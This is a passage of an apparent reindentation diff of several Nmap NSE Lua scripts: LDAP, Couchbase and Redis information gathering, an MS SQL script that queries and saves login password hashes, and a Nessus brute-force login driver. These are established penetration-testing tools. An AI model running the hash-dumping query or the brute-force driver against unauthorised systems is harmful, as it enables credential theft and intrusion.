local status, searchResEntries, req, result, opt
|
||||||
|
|
||||||
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
|
-- In order to discover what protocol to use (SSL/TCP) we need to send a few bytes to the server
|
||||||
-- An anonymous bind should do it
|
-- An anonymous bind should do it
|
||||||
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
|
local ldap_anonymous_bind = string.char( 0x30, 0x0c, 0x02, 0x01, 0x01, 0x60, 0x07, 0x02, 0x01, 0x03, 0x04, 0x00, 0x80, 0x00 )
|
||||||
local _
|
local _
|
||||||
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
|
socket, _, opt = comm.tryssl( host, port, ldap_anonymous_bind, nil )
|
||||||
|
|
||||||
if not socket then
|
if not socket then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
-- We close and re-open the socket so that the anonymous bind does not distract us
|
-- We close and re-open the socket so that the anonymous bind does not distract us
|
||||||
socket:close()
|
socket:close()
|
||||||
status = socket:connect(host, port, opt)
|
status = socket:connect(host, port, opt)
|
||||||
socket:set_timeout(10000)
|
socket:set_timeout(10000)
|
||||||
|
|
||||||
-- Searching for an empty argument list against LDAP on W2K3 returns all attributes
|
-- Searching for an empty argument list against LDAP on W2K3 returns all attributes
|
||||||
-- This is not the case for OpenLDAP, so we do a search for an empty attribute list
|
-- This is not the case for OpenLDAP, so we do a search for an empty attribute list
|
||||||
-- Then we compare the results against some known and expected returned attributes
|
-- Then we compare the results against some known and expected returned attributes
|
||||||
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
|
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default }
|
||||||
status, searchResEntries = ldap.searchRequest( socket, req )
|
status, searchResEntries = ldap.searchRequest( socket, req )
|
||||||
|
|
||||||
-- Check if we were served all the results or not?
|
-- Check if we were served all the results or not?
|
||||||
if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
|
if not ldap.extractAttribute( searchResEntries, "namingContexts" ) and
|
||||||
not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
|
not ldap.extractAttribute( searchResEntries, "supportedLDAPVersion" ) then
|
||||||
|
|
||||||
-- The namingContexts was not there, try to query all attributes instead
|
-- The namingContexts was not there, try to query all attributes instead
|
||||||
-- Attributes extracted from Windows 2003 and complemented from RFC
|
-- Attributes extracted from Windows 2003 and complemented from RFC
|
||||||
local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
|
local attribs = {"_domainControllerFunctionality","configurationNamingContext","currentTime","defaultNamingContext",
|
||||||
"dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
|
"dnsHostName","domainFunctionality","dsServiceName","forestFunctionality","highestCommittedUSN",
|
||||||
"isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
|
"isGlobalCatalogReady","isSynchronized","ldap-get-baseobject","ldapServiceName","namingContexts",
|
||||||
"rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
|
"rootDomainNamingContext","schemaNamingContext","serverName","subschemaSubentry",
|
||||||
"supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
|
"supportedCapabilities","supportedControl","supportedLDAPPolicies","supportedLDAPVersion",
|
||||||
"supportedSASLMechanisms", "altServer", "supportedExtension"}
|
"supportedSASLMechanisms", "altServer", "supportedExtension"}
|
||||||
|
|
||||||
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
|
req = { baseObject = "", scope = ldap.SCOPE.base, derefPolicy = ldap.DEREFPOLICY.default, attributes = attribs }
|
||||||
status, searchResEntries = ldap.searchRequest( socket, req )
|
status, searchResEntries = ldap.searchRequest( socket, req )
|
||||||
end
|
end
|
||||||
|
|
||||||
if not status then
|
if not status then
|
||||||
socket:close()
|
socket:close()
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
result = ldap.searchResultToTable( searchResEntries )
|
result = ldap.searchResultToTable( searchResEntries )
|
||||||
socket:close()
|
socket:close()
|
||||||
|
|
||||||
-- if taken a way and ldap returns a single result, it ain't shown....
|
-- if taken a way and ldap returns a single result, it ain't shown....
|
||||||
result.name = "LDAP Results"
|
result.name = "LDAP Results"
|
||||||
|
|
||||||
return stdnse.format_output(true, result )
|
return stdnse.format_output(true, result )
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -45,106 +45,106 @@ portrule = shortport.port_or_service(8091, "http", "tcp")
|
|||||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||||
|
|
||||||
local filter = {
|
local filter = {
|
||||||
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
|
["parsed[1]['nodes'][1]['os']"] = { name = "OS" },
|
||||||
["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
|
["parsed[1]['nodes'][1]['version']"] = { name = "Version" },
|
||||||
["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
|
["parsed[1]['nodes'][1]['hostname']"] = { name = "Hostname" },
|
||||||
["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
|
["parsed[1]['nodes'][1]['status']"] = { name = "Status" },
|
||||||
["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
|
["parsed[1]['nodes'][1]['uptime']"] = { name = "Uptime" },
|
||||||
["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
|
["parsed[1]['nodes'][1]['memoryTotal']"] = { name = "Total memory" },
|
||||||
["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
|
["parsed[1]['nodes'][1]['memoryFree']"] = { name = "Free memory" },
|
||||||
["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
|
["parsed[1]['vBucketServerMap']['serverList']"] = { name = "Server list" },
|
||||||
["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
|
["parsed['componentsVersion']['kernel']"] = { name = "Kernel version" },
|
||||||
["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
|
["parsed['componentsVersion']['mnesia']"] = { name = "Mnesia version" },
|
||||||
["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
|
["parsed['componentsVersion']['stdlib']"] = { name = "Stdlib version" },
|
||||||
["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
|
["parsed['componentsVersion']['os_mon']"] = { name = "OS mon version" },
|
||||||
["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
|
["parsed['componentsVersion']['ns_server']"] = { name = "NS server version" },
|
||||||
["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
|
["parsed['componentsVersion']['sasl']"] = { name = "SASL version" },
|
||||||
}
|
}
|
||||||
|
|
||||||
local order = {
|
local order = {
|
||||||
"parsed[1]['nodes'][1]['hostname']",
|
"parsed[1]['nodes'][1]['hostname']",
|
||||||
"parsed[1]['nodes'][1]['os']",
|
"parsed[1]['nodes'][1]['os']",
|
||||||
"parsed[1]['nodes'][1]['version']",
|
"parsed[1]['nodes'][1]['version']",
|
||||||
"parsed['componentsVersion']['kernel']",
|
"parsed['componentsVersion']['kernel']",
|
||||||
"parsed['componentsVersion']['mnesia']",
|
"parsed['componentsVersion']['mnesia']",
|
||||||
"parsed['componentsVersion']['stdlib']",
|
"parsed['componentsVersion']['stdlib']",
|
||||||
"parsed['componentsVersion']['os_mon']",
|
"parsed['componentsVersion']['os_mon']",
|
||||||
"parsed['componentsVersion']['ns_server']",
|
"parsed['componentsVersion']['ns_server']",
|
||||||
"parsed['componentsVersion']['sasl']",
|
"parsed['componentsVersion']['sasl']",
|
||||||
"parsed[1]['nodes'][1]['status']",
|
"parsed[1]['nodes'][1]['status']",
|
||||||
"parsed[1]['nodes'][1]['uptime']",
|
"parsed[1]['nodes'][1]['uptime']",
|
||||||
"parsed[1]['nodes'][1]['memoryTotal']",
|
"parsed[1]['nodes'][1]['memoryTotal']",
|
||||||
"parsed[1]['nodes'][1]['memoryFree']",
|
"parsed[1]['nodes'][1]['memoryFree']",
|
||||||
"parsed[1]['vBucketServerMap']['serverList']",
|
"parsed[1]['vBucketServerMap']['serverList']",
|
||||||
}
|
}
|
||||||
|
|
||||||
local function cmdReq(host, port, url, result)
|
local function cmdReq(host, port, url, result)
|
||||||
local response = http.get(host, port, url)
|
local response = http.get(host, port, url)
|
||||||
|
|
||||||
if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
|
if ( 200 ~= response.status ) or ( response.header['server'] == nil ) then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( response.header['server'] and
|
if ( response.header['server'] and
|
||||||
not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
|
not( response.header['server']:match("^Couchbase Server") or response.header['server']:match("^Membase Server") ) ) then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, parsed = json.parse(response.body)
|
local status, parsed = json.parse(response.body)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, "Failed to parse response from server"
|
return false, "Failed to parse response from server"
|
||||||
end
|
end
|
||||||
|
|
||||||
result = result or {}
|
result = result or {}
|
||||||
for item in pairs(filter) do
|
for item in pairs(filter) do
|
||||||
local var, val = ""
|
local var, val = ""
|
||||||
for x in item:gmatch("(.-%])") do
|
for x in item:gmatch("(.-%])") do
|
||||||
var = var .. x
|
var = var .. x
|
||||||
local env = setmetatable({parsed=parsed}, {__index = _G})
|
local env = setmetatable({parsed=parsed}, {__index = _G})
|
||||||
local func = load("return " .. var, nil, "t", env)
|
local func = load("return " .. var, nil, "t", env)
|
||||||
|
|
||||||
if ( not(func()) ) then
|
if ( not(func()) ) then
|
||||||
val = nil
|
val = nil
|
||||||
break
|
break
|
||||||
end
|
end
|
||||||
val = func()
|
val = func()
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( val ) then
|
if ( val ) then
|
||||||
local name = filter[item].name
|
local name = filter[item].name
|
||||||
val = ( "table" == type(val) and stdnse.strjoin(",", val) or val )
|
val = ( "table" == type(val) and stdnse.strjoin(",", val) or val )
|
||||||
result[item] = { name = name, value = val }
|
result[item] = { name = name, value = val }
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
return true, result
|
return true, result
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
-- Identify servers that answer 200 to invalid HTTP requests and exit as these would invalidate the tests
|
||||||
local _, http_status, _ = http.identify_404(host,port)
|
local _, http_status, _ = http.identify_404(host,port)
|
||||||
if ( http_status == 200 ) then
|
if ( http_status == 200 ) then
|
||||||
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
stdnse.print_debug(1, "%s: Exiting due to ambiguous response from web server on %s:%s. All URIs return status 200.", SCRIPT_NAME, host.ip, port.number)
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
|
|
||||||
local urls = { "/pools/default/buckets", "/pools" }
|
local urls = { "/pools/default/buckets", "/pools" }
|
||||||
|
|
||||||
local status, result
|
local status, result
|
||||||
for _, u in ipairs(urls) do
|
for _, u in ipairs(urls) do
|
||||||
status, result = cmdReq(host, port, u, result)
|
status, result = cmdReq(host, port, u, result)
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( not(result) or not(next(result)) ) then
|
if ( not(result) or not(next(result)) ) then
|
||||||
return
|
return
|
||||||
end
|
end
|
||||||
|
|
||||||
local output = tab.new(2)
|
local output = tab.new(2)
|
||||||
for _, item in ipairs(order) do
|
for _, item in ipairs(order) do
|
||||||
if ( result[item] ) then
|
if ( result[item] ) then
|
||||||
tab.addrow(output, result[item].name, result[item].value)
|
tab.addrow(output, result[item].name, result[item].value)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
return stdnse.format_output(true, tab.dump(output))
|
return stdnse.format_output(true, tab.dump(output))
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -43,46 +43,46 @@ portrule = mssql.Helper.GetPortrule_Standard()
|
|||||||
|
|
||||||
local function process_instance(instance)
|
local function process_instance(instance)
|
||||||
|
|
||||||
local helper = mssql.Helper:new()
|
local helper = mssql.Helper:new()
|
||||||
local status, errorMessage = helper:ConnectEx( instance )
|
local status, errorMessage = helper:ConnectEx( instance )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, {
|
return false, {
|
||||||
['name'] = string.format( "[%s]", instance:GetName() ),
|
['name'] = string.format( "[%s]", instance:GetName() ),
|
||||||
"ERROR: " .. errorMessage
|
"ERROR: " .. errorMessage
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
status, errorMessage = helper:LoginEx( instance )
|
status, errorMessage = helper:LoginEx( instance )
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, {
|
return false, {
|
||||||
['name'] = string.format( "[%s]", instance:GetName() ),
|
['name'] = string.format( "[%s]", instance:GetName() ),
|
||||||
"ERROR: " .. errorMessage
|
"ERROR: " .. errorMessage
|
||||||
}
|
}
|
||||||
end
|
end
|
||||||
|
|
||||||
local result
|
local result
|
||||||
local query = [[
|
local query = [[
|
||||||
IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
|
IF ( OBJECT_ID('master..sysxlogins' ) ) <> 0
|
||||||
SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
|
SELECT name, password FROM master..sysxlogins WHERE password IS NOT NULL
|
||||||
ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
|
ELSE IF ( OBJECT_ID('master.sys.sql_logins') ) <> 0
|
||||||
SELECT name, password_hash FROM master.sys.sql_logins
|
SELECT name, password_hash FROM master.sys.sql_logins
|
||||||
]]
|
]]
|
||||||
status, result = helper:Query( query )
|
status, result = helper:Query( query )
|
||||||
|
|
||||||
local output = {}
|
local output = {}
|
||||||
|
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
for _, row in ipairs( result.rows ) do
|
for _, row in ipairs( result.rows ) do
|
||||||
table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
|
table.insert(output, ("%s:%s"):format(row[1] or "",row[2] or "") )
|
||||||
end
|
|
||||||
end
|
end
|
||||||
|
end
|
||||||
|
|
||||||
helper:Disconnect()
|
helper:Disconnect()
|
||||||
local instanceOutput = {}
|
local instanceOutput = {}
|
||||||
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
instanceOutput["name"] = string.format( "[%s]", instance:GetName() )
|
||||||
table.insert( instanceOutput, output )
|
table.insert( instanceOutput, output )
|
||||||
|
|
||||||
return true, instanceOutput
|
return true, instanceOutput
|
||||||
|
|
||||||
end
|
end
|
||||||
|
|
||||||
@@ -92,44 +92,44 @@ end
|
|||||||
-- @return status true on success, false on failure
|
-- @return status true on success, false on failure
|
||||||
-- @return err string containing the error if status is false
|
-- @return err string containing the error if status is false
|
||||||
local function saveToFile(filename, response)
|
local function saveToFile(filename, response)
|
||||||
local f = io.open( filename, "w")
|
local f = io.open( filename, "w")
|
||||||
if ( not(f) ) then
|
if ( not(f) ) then
|
||||||
return false, ("Failed to open file (%s)"):format(filename)
|
return false, ("Failed to open file (%s)"):format(filename)
|
||||||
end
|
end
|
||||||
for _, row in ipairs(response) do
|
for _, row in ipairs(response) do
|
||||||
if ( not(f:write(row .."\n" ) ) ) then
|
if ( not(f:write(row .."\n" ) ) ) then
|
||||||
return false, ("Failed to write file (%s)"):format(filename)
|
return false, ("Failed to write file (%s)"):format(filename)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
f:close()
|
f:close()
|
||||||
return true
|
return true
|
||||||
end
|
end
|
||||||
|
|
||||||
action = function( host, port )
|
action = function( host, port )
|
||||||
local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
|
local dir = stdnse.get_script_args("ms-sql-dump-hashes.dir")
|
||||||
local scriptOutput = {}
|
local scriptOutput = {}
|
||||||
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
local status, instanceList = mssql.Helper.GetTargetInstances( host, port )
|
||||||
|
|
||||||
if ( not status ) then
|
if ( not status ) then
|
||||||
return stdnse.format_output( false, instanceList )
|
return stdnse.format_output( false, instanceList )
|
||||||
else
|
else
|
||||||
for _, instance in pairs( instanceList ) do
|
for _, instance in pairs( instanceList ) do
|
||||||
local status, instanceOutput = process_instance( instance )
|
local status, instanceOutput = process_instance( instance )
|
||||||
if ( status ) then
|
if ( status ) then
|
||||||
local filename
|
local filename
|
||||||
if ( dir ) then
|
if ( dir ) then
|
||||||
local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName()
|
local instance = instance:GetName():match("%\\+(.+)$") or instance:GetName()
|
||||||
filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance))
|
filename = dir .. "/" .. stdnse.filename_escape(("%s_%s_ms-sql_hashes.txt"):format(host.ip, instance))
|
||||||
saveToFile(filename, instanceOutput[1])
|
saveToFile(filename, instanceOutput[1])
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
table.insert( scriptOutput, instanceOutput )
|
table.insert( scriptOutput, instanceOutput )
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( #scriptOutput == 0 ) then return end
|
if ( #scriptOutput == 0 ) then return end
|
||||||
|
|
||||||
local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] )
|
local output = ( #scriptOutput > 1 and scriptOutput or scriptOutput[1] )
|
||||||
|
|
||||||
return stdnse.format_output( true, output )
|
return stdnse.format_output( true, output )
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -39,115 +39,115 @@ portrule = shortport.port_or_service(1241, "nessus", "tcp")
|
|||||||
Driver =
|
Driver =
|
||||||
{
|
{
|
||||||
|
|
||||||
new = function(self, host, port)
|
new = function(self, host, port)
|
||||||
local o = { host = host, port = port }
|
local o = { host = host, port = port }
|
||||||
setmetatable(o, self)
|
setmetatable(o, self)
|
||||||
self.__index = self
|
self.__index = self
|
||||||
return o
|
return o
|
||||||
end,
|
end,
|
||||||
|
|
||||||
connect = function( self )
|
connect = function( self )
|
||||||
self.socket = nmap.new_socket()
|
self.socket = nmap.new_socket()
|
||||||
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
if ( not(self.socket:connect(self.host, self.port, "ssl")) ) then
|
||||||
return false
|
return false
|
||||||
end
|
end
|
||||||
return true
|
return true
|
||||||
end,
|
end,
|
||||||
|
|
||||||
login = function( self, username, password )
|
login = function( self, username, password )
|
||||||
local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
|
local handshake = "< NTP/1.2 >< plugins_cve_id plugins_version timestamps dependencies fast_login >\n"
|
||||||
|
|
||||||
local status, err = self.socket:send(handshake)
|
local status, err = self.socket:send(handshake)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send handshake to server" )
|
local err = brute.Error:new( "Failed to send handshake to server" )
|
||||||
err:setAbort(true)
|
err:setAbort(true)
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
local line
|
local line
|
||||||
status, line = self.socket:receive_buf("\r?\n", false)
|
status, line = self.socket:receive_buf("\r?\n", false)
|
||||||
if ( not(status) or line ~= "< NTP/1.2 >" ) then
|
if ( not(status) or line ~= "< NTP/1.2 >" ) then
|
||||||
local err = brute.Error:new( "The server failed to respond to handshake" )
|
local err = brute.Error:new( "The server failed to respond to handshake" )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, line = self.socket:receive()
|
status, line = self.socket:receive()
|
||||||
if ( not(status) or line ~= "User : ") then
|
if ( not(status) or line ~= "User : ") then
|
||||||
local err = brute.Error:new( "Expected \"User : \", got something else" )
|
local err = brute.Error:new( "Expected \"User : \", got something else" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status = self.socket:send(username .. "\n")
|
status = self.socket:send(username .. "\n")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send username to server" )
|
local err = brute.Error:new( "Failed to send username to server" )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status, line = self.socket:receive()
|
status, line = self.socket:receive()
|
||||||
if ( not(status) or line ~= "Password : ") then
|
if ( not(status) or line ~= "Password : ") then
|
||||||
local err = brute.Error:new( "Expected \"Password : \", got something else" )
|
local err = brute.Error:new( "Expected \"Password : \", got something else" )
|
||||||
err:setRetry( true )
|
err:setRetry( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
status = self.socket:send(password)
|
status = self.socket:send(password)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send password to server" )
|
local err = brute.Error:new( "Failed to send password to server" )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
-- the line feed has to be sent separate like this, otherwise we don't
|
-- the line feed has to be sent separate like this, otherwise we don't
|
||||||
-- receive the server response and the server simply hangs up
|
-- receive the server response and the server simply hangs up
|
||||||
status = self.socket:send("\n")
|
status = self.socket:send("\n")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send password to server" )
|
local err = brute.Error:new( "Failed to send password to server" )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
-- we force a brief incorrect statement just to get an error message to
|
-- we force a brief incorrect statement just to get an error message to
|
||||||
-- confirm that we've succesfully authenticated to the server
|
-- confirm that we've succesfully authenticated to the server
|
||||||
local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
|
local bad_cli_pref = "CLIENT <|> PREFERENCES <|>\n<|> CLIENT\n"
|
||||||
status = self.socket:send(bad_cli_pref)
|
status = self.socket:send(bad_cli_pref)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
|
local err = brute.Error:new( "Failed to send bad client preferences packet to server" )
|
||||||
err:setAbort( true )
|
err:setAbort( true )
|
||||||
return false, err
|
return false, err
|
||||||
end
|
end
|
||||||
|
|
||||||
-- if the server disconnects us at this point, it's most likely due to
|
-- if the server disconnects us at this point, it's most likely due to
|
||||||
-- that the authentication failed, so simply treat it as an incorrect
|
-- that the authentication failed, so simply treat it as an incorrect
|
||||||
-- password, rather than abort.
|
-- password, rather than abort.
|
||||||
status, line = self.socket:receive()
|
status, line = self.socket:receive()
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end
|
end
|
||||||
|
|
||||||
if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
|
if ( line:match("SERVER <|> PREFERENCES_ERRORS <|>") ) then
|
||||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||||
end
|
end
|
||||||
|
|
||||||
return false, brute.Error:new( "Incorrect password" )
|
return false, brute.Error:new( "Incorrect password" )
|
||||||
end,
|
end,
|
||||||
|
|
||||||
disconnect = function( self )
|
disconnect = function( self )
|
||||||
self.socket:close()
|
self.socket:close()
|
||||||
end,
|
end,
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local engine = brute.Engine:new(Driver, host, port)
|
local engine = brute.Engine:new(Driver, host, port)
|
||||||
engine.options.script_name = SCRIPT_NAME
|
engine.options.script_name = SCRIPT_NAME
|
||||||
|
|
||||||
-- the nessus service doesn't appear to do very well with multiple threads
|
-- the nessus service doesn't appear to do very well with multiple threads
|
||||||
engine:setMaxThreads(1)
|
engine:setMaxThreads(1)
|
||||||
local status, result = engine:start()
|
local status, result = engine:start()
|
||||||
|
|
||||||
return result
|
return result
|
||||||
end
|
end
|
||||||
|
|||||||
@@ -40,103 +40,103 @@ portrule = shortport.port_or_service(6379, "redis")
|
|||||||
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||||
|
|
||||||
local function cb_parse_version(host, port, val)
|
local function cb_parse_version(host, port, val)
|
||||||
port.version.version = val
|
port.version.version = val
|
||||||
port.version.cpe = port.version.cpe or {}
|
port.version.cpe = port.version.cpe or {}
|
||||||
table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
|
table.insert(port.version.cpe, 'cpe:/a:redis:redis:' .. val)
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
return val
|
return val
|
||||||
end
|
end
|
||||||
|
|
||||||
local function cb_parse_architecture(host, port, val)
|
local function cb_parse_architecture(host, port, val)
|
||||||
val = ("%s bits"):format(val)
|
val = ("%s bits"):format(val)
|
||||||
port.version.extrainfo = val
|
port.version.extrainfo = val
|
||||||
nmap.set_port_version(host, port)
|
nmap.set_port_version(host, port)
|
||||||
return val
|
return val
|
||||||
end
|
end
|
||||||
|
|
||||||
local filter = {
|
local filter = {
|
||||||
|
|
||||||
["redis_version"] = { name = "Version", func = cb_parse_version },
|
["redis_version"] = { name = "Version", func = cb_parse_version },
|
||||||
["os"] = { name = "Operating System" },
|
["os"] = { name = "Operating System" },
|
||||||
["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
|
["arch_bits"] = { name = "Architecture", func = cb_parse_architecture },
|
||||||
["process_id"] = { name = "Process ID"},
|
["process_id"] = { name = "Process ID"},
|
||||||
["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
|
["uptime"] = { name = "Uptime", func = function(h, p, v) return ("%s seconds"):format(v) end },
|
||||||
["used_cpu_sys"]= { name = "Used CPU (sys)"},
|
["used_cpu_sys"]= { name = "Used CPU (sys)"},
|
||||||
["used_cpu_user"] = { name = "Used CPU (user)"},
|
["used_cpu_user"] = { name = "Used CPU (user)"},
|
||||||
["connected_clients"] = { name = "Connected clients"},
|
["connected_clients"] = { name = "Connected clients"},
|
||||||
["connected_slaves"] = { name = "Connected slaves"},
|
["connected_slaves"] = { name = "Connected slaves"},
|
||||||
["used_memory_human"] = { name = "Used memory"},
|
["used_memory_human"] = { name = "Used memory"},
|
||||||
["role"] = { name = "Role"}
|
["role"] = { name = "Role"}
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
local order = {
|
local order = {
|
||||||
"redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
|
"redis_version", "os", "arch_bits", "process_id", "used_cpu_sys",
|
||||||
"used_cpu_user", "connected_clients", "connected_slaves",
|
"used_cpu_user", "connected_clients", "connected_slaves",
|
||||||
"used_memory_human", "role"
|
"used_memory_human", "role"
|
||||||
}
|
}
|
||||||
|
|
||||||
action = function(host, port)
|
action = function(host, port)
|
||||||
|
|
||||||
local helper = redis.Helper:new(host, port)
|
local helper = redis.Helper:new(host, port)
|
||||||
local status = helper:connect()
|
local status = helper:connect()
|
||||||
if( not(status) ) then
|
if( not(status) ) then
|
||||||
return fail("Failed to connect to server")
|
return fail("Failed to connect to server")
|
||||||
end
|
end
|
||||||
|
|
||||||
-- do we have a service password
|
-- do we have a service password
|
||||||
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
local c = creds.Credentials:new(creds.ALL_DATA, host, port)
|
||||||
local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
local cred = c:getCredentials(creds.State.VALID + creds.State.PARAM)()
|
||||||
|
|
||||||
if ( cred and cred.pass ) then
|
if ( cred and cred.pass ) then
|
||||||
local status, response = helper:reqCmd("AUTH", cred.pass)
|
local status, response = helper:reqCmd("AUTH", cred.pass)
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
helper:close()
|
helper:close()
|
||||||
return fail(response)
|
return fail(response)
|
||||||
end
|
end
|
||||||
end
|
end
|
||||||
|
|
||||||
local status, response = helper:reqCmd("INFO")
|
local status, response = helper:reqCmd("INFO")
|
||||||
if ( not(status) ) then
|
if ( not(status) ) then
|
||||||
helper:close()
|
helper:close()
|
||||||
return fail(response)
|
return fail(response)
|
||||||
end
|
end
|
||||||
helper:close()
|
helper:close()
|
||||||
|
|
||||||
if ( redis.Response.Type.ERROR == response.type ) then
|
if ( redis.Response.Type.ERROR == response.type ) then
|
||||||
if ( "-ERR operation not permitted" == response.data ) or
|
if ( "-ERR operation not permitted" == response.data ) or
|
||||||
( "-NOAUTH Authentication required." == response.data ) then
|
( "-NOAUTH Authentication required." == response.data ) then
|
||||||
return fail("Authentication required")
|
return fail("Authentication required")
|
||||||
end
|
end
|
||||||
return fail(response.data)
|
return fail(response.data)
|
||||||
end
|
end
|
||||||
|
|
||||||
local restab = stdnse.strsplit("\r\n", response.data)
|
local restab = stdnse.strsplit("\r\n", response.data)
|
||||||
